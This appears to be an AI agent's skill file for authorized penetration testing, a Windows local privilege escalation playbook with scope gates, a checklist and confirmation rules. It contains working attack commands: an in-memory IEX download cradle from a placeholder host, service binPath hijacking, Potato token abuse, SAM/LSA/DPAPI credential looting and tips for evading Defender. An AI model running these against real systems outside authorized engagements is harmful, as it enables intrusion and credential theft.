Hunt: Windows (local privilege escalation)
Current emphasis (update on wiki harvest): token-privilege abuse (SeImpersonate -> Potato) and weak service DACL reconfiguration over AlwaysInstallElevated checks - models over-index on over-represented old methods; the newest harvested technique leads the checklist until superseded.
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Paths (binding - define once at the top of the run notes)
# seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/windows/<host>
# VM side (WHERE nxc runs, same tree through the share):
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/windows/<host>
Corpus and probes live in the VMshare tree. Most commands run ON the Windows foothold over the exec channel (win-rsh.sh); nxc runs from the Kali VM. The repo tree targets/ is admin/ingest only - probe artifacts NEVER land there.
Transport
Two channels, each used for what it is for:
- Exec channel (Windows foothold):
bash scripts/win-rsh.sh <eng> '<one command>'- ONE command per call, NO injected markers, type $env:/$_ plainly (the bridge escapes for you). Follow docs/shell-interaction.md. RDP-only non-WinRM users: headless xfreerdp + in-memory PS cradle ([[network-service-attacks]]). - VM transport (Kali-side nxc/loot):
wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"- lands as tz (NOT root); quotes ship as base64. HTTP fetches via /opt/scope-shim/bin/{curl,httpx}; out-of-scope dies rc 126; UNKNOWN = ADVISORY, self-deny.
Defender is often live: dropped binaries get quarantined - deliver in-memory (IEX cradle), freshly-compiled, or Microsoft-signed (accesschk). Solve evasion once at the loader ([[windows-privesc]]).
Entry gate
All four must pass; each is falsifiable:
Active engagement exists (repo tree targets//active.md) and the host is on targets//scope.md in-scope. Scope-guard is the deny. (targets/ is the repo admin tree; $ENG_DIR holds corpus and run artifacts only - see Paths.)
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
Producer verified - at least ONE of: (a) a Windows foothold exists (win-rsh session / RDP session recorded in engagement state);
(b) loot.md or identities rows hold a Windows cred pair;
(c) kickoff seeded $RUN/raw/host-map.md. None = dispatch the surface lane first.Toolchain preflight (fails LOUD; install-on-demand per the operator rule):
# seat/VM side: for t in /usr/bin/jq /usr/bin/python3; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done command -v nxc >/dev/null || { pip3 install --user --break-system-packages -q pipx && /home/tz/.local/bin/pipx install netexec; } || echo "N/A: nxc absent on VM (install failed)" # foothold side (inside the session): whoami /priv must return # a parseable privilege list - if not, the channel is degraded.
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/windows/<host>/windows-checklist.md at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. The SKILL.md text and the checklist header agree byte-for-byte
on that copy target.
Nudge
Review-skill re-injection text (pinned; NOTE: completion-gate emits its own generic nudge - both mean: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
Scope of this skill vs hunt-ad: this is LOCAL privesc on ONE Windows host - a standalone/workgroup box, or getting from a low-priv user to SYSTEM on a domain member. DOMAIN escalation (user enum, AS-REP/Kerberoast, delegation, ADCS, DCSync, BloodHound) is Skill(hunt-ad). Tell them apart from the SMB/enum banner: a single-label domain: that equals the hostname (e.g. domain:PRIVESC) or WORKGROUP = standalone -> this skill; a dotted FQDN realm (domain:corp.local) or a DC (kerberos/88) = AD -> hunt-ad. On a domain member both can apply (local SYSTEM here, domain moves there).
2025-26 technique ladder: references/bypass-arsenal.md (NEW classes, defense->bypass map).
Wiki
Hub: [[red-team-moc]] - Primary page: [[windows-privesc]] - Arsenal: [[privesc-exploit-arsenal]] Anchors: [[windows-enumeration]], [[netexec]], [[network-service-attacks]] REFS: [[windows-privesc]], [[privesc-exploit-arsenal]] Recompiled-LPE shortcut (CTF, standard-user session): Skill(nightmare)
mcp__wiki-search__query (lex) "Windows local privilege escalation service misconfig unquoted path SeImpersonate potato AlwaysInstallElevated autologon scheduled task DLL hijack UAC bypass" via wiki-search MCP - ONLY when you have a concrete hint the map above doesn't cover (a specific sink/version/CVE, an observed escape); not a blanket first step.
[[netexec]] is the remote-side workhorse even on a standalone box: --local-auth cred checks, --sam/--lsa/--dpapi looting, -M enum_av before dropping a payload, and the stored-cred loot modules (winscp/putty/rdcman/keepass/eventlog_creds).
Privesc quick reference (use this, don't hand-roll)
Every command below is a real, tested primitive - the SAME check a hand-rolled enum script would reimplement worse. Look the operation up here first; full context for each lives in the numbered methodology step.
| Vector | Command | Step |
|---|---|---|
| Token privileges | whoami /priv |
2 |
| Weak service DACL | accesschk -uwcqv <user> * |
3 |
| Reconfigure a weak-DACL service | sc qc <svc> then sc config <svc> binPath= "<cmd>" |
3 |
| Registry autologon creds | reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
4 |
| Scheduled tasks (SYSTEM-run, writable action/script) | schtasks /query /fo LIST /v |
5 |
| Writable-file sweep (files) | accesschk.exe /accepteula -uwqs <user> C:\ |
6 |
| Writable-file sweep (dirs) | accesschk.exe /accepteula -uwdqs <user> C:\ |
6 |
| AlwaysInstallElevated (check both hives) | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated (+ same under HKCU) |
7 |
| Credential loot (saved creds) | cmdkey /list (+ replay with runas /savecred /user:<user> <cmd>) |
9 |
| Local-auth cred check + SAM/LSA/DPAPI loot | nxc smb <target> -u <user> -p <pass> --local-auth --sam --lsa --dpapi |
Wiki |
| AV/EDR enum before dropping a payload | nxc smb <target> -u <user> -p <pass> -M enum_av |
Wiki |
| Stored-cred loot module (swap winscp/putty/rdcman/keepass/eventlog_creds) | nxc smb <target> -u <user> -p <pass> -M winscp |
Wiki |
| In-memory enum (Defender-evasive winPEAS/PrivescCheck) | IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/winPEAS.ps1') |
Exec channel, 1 |
| Drive the reverse shell (one command per call, no markers) | bash scripts/win-rsh.sh <eng> '<one command>' |
Exec channel |
Attack surface
Local-to-SYSTEM levers: token privileges, service misconfig, autologon creds, scheduled-task / writable-script abuse, DLL hijack, AlwaysInstallElevated, UAC bypass, credential loot.
APPROACH: Enumerate first with winPEAS/PrivescCheck (in-memory if Defender is live), then walk the checklist - token privs (whoami /priv, SeImpersonate->Potato), weak/writable services, autologon registry creds, writable scheduled-task scripts, DLL hijack, AlwaysInstallElevated - reusing looted creds before hunting new ones.
AVOID: A writable service binary, an AlwaysInstallElevated key, or SeImpersonate in the token is a CONDITION, not confirmation; a whoami returning root/kali/your attacker host is the false-RCE trap (re-pop) - you must run code AS the higher principal (nt authority\system), re-verified from the target.
Exec channel (read this before driving a shell)
Windows footholds are usually RDP or a reverse shell, rarely WinRM (unless the user is in Remote Management Users). Drive a PowerShell reverse shell with bash scripts/win-rsh.sh <eng> '<one command>' and follow docs/shell-interaction.md: ONE command per call, NO injected markers, type $env:/$_ plainly (it escapes for the bridge). RDP-only, non-admin, non-WinRM user -> headless xfreerdp + an in-memory PS cradle (see [[network-service-attacks]]). Defender is often live: a dropped RunasCs.exe/winPEASx64.exe gets quarantined - deliver in-memory (IEX(New-Object Net.WebClient).DownloadString(...)), or a freshly-compiled (unsigned-but-unknown) stager, or a Microsoft-signed tool (accesschk). Solve evasion once at the loader ([[windows-privesc]]).
Methodology
- Enumerate first - tool then manual. Run
Skill(wiki-arsenal)to pick the tool, then winPEAS / PrivescCheck.ps1 (in-memory if Defender is live). Read [[windows-enumeration]]. Then walk the manual checklist below - the intended path is almost always ONE of these, and a limited/service token may be blind to WMI so cross-check from an earlier shell in the chain. - Token privileges -
whoami /priv. SeImpersonate / SeAssignPrimaryToken (common on service accounts: IIS/MSSQL) -> Potato (PrintSpoofer/GodPotato/RoguePotato) -> SYSTEM. SeBackup/SeRestore -> read SAM/SYSTEM hives. SeDebug -> inject into a SYSTEM process. If SeImpersonate is ABSENT, do NOT stop - it is a deliberate block; go to the other vectors. - Services -
sc qc <svc>/Get-CimInstance Win32_Service. Weak service DACL (accesschk-uwcqv <user> *->sc config binPath=), writable service binary (icaclsshowsEveryone/Users/you with(F)/(M)-> overwrite +sc start; runs as the service account), unquoted service path with a writable dir, or a writableHKLM\SYSTEM\CurrentControlSet\Services\<svc>ImagePath. - Registry autologon creds -
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"->DefaultUserName/DefaultPasswordwhenAutoAdminLogon=1. Reuse the recovered cred (runas / RDP /Start-Process -Credential). - Scheduled tasks -
schtasks /query /fo LIST /v; a task running as SYSTEM whose action binary OR a script it runs (.bat/.ps1) is writable = overwrite + wait for/trigger the task. Note the wrapper case (cmd /c script.bat) thaticaclson the "Task To Run" misses. - Writable-file sweep (last resort when 2-5 are dry) -
accesschk.exe /accepteula -uwqs <user> C:\(files) and-uwdqs <user> C:\(dirs). A writable script/binary underC:\Windows\Tasks,C:\ProgramData, or a program dir that a SYSTEM process/task runs is a direct SYSTEM foothold. See [[windows-privesc]]. - AlwaysInstallElevated - both
reg query HKLM\...\Installer /v AlwaysInstallElevatedAND HKCU =0x1-> a crafted.msiinstalls as SYSTEM. - DLL hijack - a service/SYSTEM process loading a DLL from a writable dir in its search path (writable PATH entry or app dir) -> plant the DLL.
- Credential loot -
cmdkey /list(+runas /savecred), Credential Manager / DPAPI,unattend.xml/sysprep.inf, PowerShell history, config/.kdbx, registry. Reuse across users/services before hunting new ones. - UAC bypass - admin-but-medium-integrity -> a fodhelper/other auto-elevate bypass to high integrity (see [[windows-privesc]]).
Distill a confirmed reusable technique per hunt-core: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page cheatsheets/windows-privesc.md.
N/A escapes
- "N/A: no service misconfig surface" (accesschk + qc sweep clean)
- "N/A: no scheduled-task surface" (schtasks sweep clean)
- "N/A: no autologon creds" (Winlogon query clean)
- "N/A: no writable-file privesc path" (both accesschk sweeps clean) An N/A tick is a claim with a reason, never a silent pass. Identical strings in SKILL.md and checklist.md.
Bitter-pill variant
Freehand run: skip checklist + numbered steps, one freehand pass over the host map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/ dismissed, every claim carries evidence). The ran-as-SYSTEM gate survives freehand. Declare with a _requests.md row (lane = hunt-windows-bitterpill).
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-windows-.md (pointer with WINDOWS-HUNT-DONE +
counts). Consumer (triage) finds at $RUN: raw/host-map.md,
probes/*.jsonl, probes/raw/, candidates.{jsonl,md}. Findings leave
ONLY through G1. Distill: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page cheatsheets/windows-privesc.md.
Confirmation gate
Windows-local specific; adds to the hunt-core gate.
NOT confirmation: a writable service binary / AlwaysInstallElevated key / SeImpersonate in the token / an unquoted path - these are conditions, not a demonstrated escalation. A reflected whoami that returns root/kali or your attacker host is the false-RCE trap (a dead reverse shell fell back to the attacker box) - re-pop, do not claim it (win-rsh flags this).
IS confirmation: you actually ran code / read a file AS the higher principal and proved it - a shell or command whose whoami returns the service account / nt authority\system (from the TARGET, re-verified), the protected file read, the SYSTEM flag captured - reproduced from your own written steps in a clean session.
Validation
- Proof = elevated context doing what the base user could not:
whoamibefore/after plus a marker file written to an admin-only path. Potato-family needs the capture RELAYED (the trigger alone is not the escalation).
False Positives
- SeImpersonate present but no capturing listener to relay to (dead on arrival; verify a service that performs an auth handshake as SYSTEM).
- Unquoted service path where no prefix-hijackable directory is writable.
- AlwaysInstallElevated set but msiexec policy-restricted.
- UAC 'bypass' that still prompts on the target build (build-specific behavior).
Cross-routing
- Load hunt-ad when the escalation path crosses the domain boundary.
- Load hunt-pwn for memory-corruption local privesc primitives.
- Not this skill: macOS endpoints (hunt-macos).
Severity
| Severity | Class |
|---|---|
| CRITICAL | SYSTEM / local Administrator code exec |
| HIGH | escalation to another privileged local user / service account, SAM+SYSTEM hive dump |
| MEDIUM | limited token/privilege gain, a cred that only reuses laterally |
Stop conditions
Terminal states complete (probed | N/A with reason | deadend row written), nothing written into skill dirs (skills/exploit/hunt/ hunt-windows/ stays untouched), no unchecked boxes above REVIEW. hunt-core stop conditions fire unchanged.